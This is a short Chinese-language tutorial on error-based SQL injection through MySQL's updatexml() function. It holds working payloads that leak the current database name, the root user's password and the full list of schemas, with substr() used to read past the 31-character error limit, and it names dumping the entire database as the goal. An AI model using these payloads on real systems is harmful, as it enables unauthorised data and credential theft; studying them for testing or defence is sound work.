updatexml() 常用来修改xml文件的内容
updatexml(参数1 , 参数2 , 参数3);
参数1: 文件名 , 比如 a.xml
参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
参数3: 数值 , 比如 tianjing
如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容
路径参数的内容总会在错误提示中展示出来
如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中
select updatexml(1,concat('~',database()),3);
比如,查询当前使用的数据库
此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误
如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中
select updatexml(1,concat('~', (select password from user where username='root') ),3);
基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库
select updatexml(1, concat('~',( select group_concat(schema_name) from information_schema.schemata )),3);
由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库
select updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,1,31) ),3);
从第1个字符开始 , 截取31个
从第32个字符开始 , 截取31个
select updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,32,31) ),3);
至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库